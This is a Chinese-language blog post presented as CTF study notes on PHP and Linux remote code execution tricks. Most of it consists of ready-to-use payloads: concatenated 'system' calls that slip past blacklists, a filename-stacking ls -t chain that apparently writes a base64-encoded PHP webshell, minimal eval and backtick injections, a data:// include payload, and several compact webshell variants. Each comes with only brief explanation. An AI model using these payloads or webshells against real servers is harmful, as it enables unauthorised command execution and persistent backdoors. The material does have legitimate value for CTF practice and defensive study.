RCE技巧
变量拼接
在ctf比赛中黑名单过滤的bypass的思路
payload
http://127.0.0.1/1.php?param=$a=sys;$b=tem;$c=$a.$b;$c($_POST[x]);
这种写法大部分大佬应该都见过,开胃小菜,接着往下看。
Linux命令长度限制
payload
>hp>c.p\\>d\>\\>\ -\\>e64\\>bas\\>7\|\\>XSK\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>waH\\>PD9\\>o\ \\>ech\\ls -t>0sh 0
关键命令ls -t>0 ls命令的-t参数会把当前目录下的文件按照创建时间进行排序,在使用>写入到0这个文件中(注意部分Linux系统ls -t可能不会按照时间排序参数得改成-lt),写法还可以更短,不想一行行执行,可以写个py脚本。
最短参数接受
web代码
<?php$param = $_REQUEST['param'];eval($param);?>
payload
http://127.0.0.1/1.php?param=`$_GET[1]`;&1=dir
这段payload的核心代码是这一段`$_GET[1]`;这段代码长度为11,在ctf比赛中限制长度的题目还是挺常见的,缺点是反引号执行的代码没有回显,可以在前面加上echo,当然前提是长度允许,或者进行数据带外。类似的可以使用exec函数
http://127.0.0.1/1.php?param=exec($_GET[1]);&1=dir
长度为15,同样无回显
大家常见的最短写法应该是<?`$_GET[x]`;这种写法没有=符号也是无回显,但是实际上前面的<?也是可以去掉的,应该很多人不知道吧
不常规的写法
payload
http://127.0.0.1/1.php?param=include$_GET[1];&1=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
核心代码include$_GET[1];使用文件包含函数搭配伪协议代码执行,条件是对方php开启伪协议的相关配置。
这个原理不难,只是这种写法不常见,所以也放到这里。
webshell的另类写法
过免就别想了,样本早被提交了,但是这种写法可以了解一下,学习一下思路
code
<?phpparse_str(http_build_query($_GET),$res);$res['x']($res['xx']);?>
payload
http://127.0.0.1/2.php?x=system&xx=dir
原理也不难,就是动态函数执行,使用参数接受函数名,可以换别的类似功能的函数进行替换。
最后放一段我在《代码审计》这本书上看到的一种写法,我相信大部分人都没见过。
<?php$a = "${@eval($_GET[x])}";
就这两行代码可以RCE
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果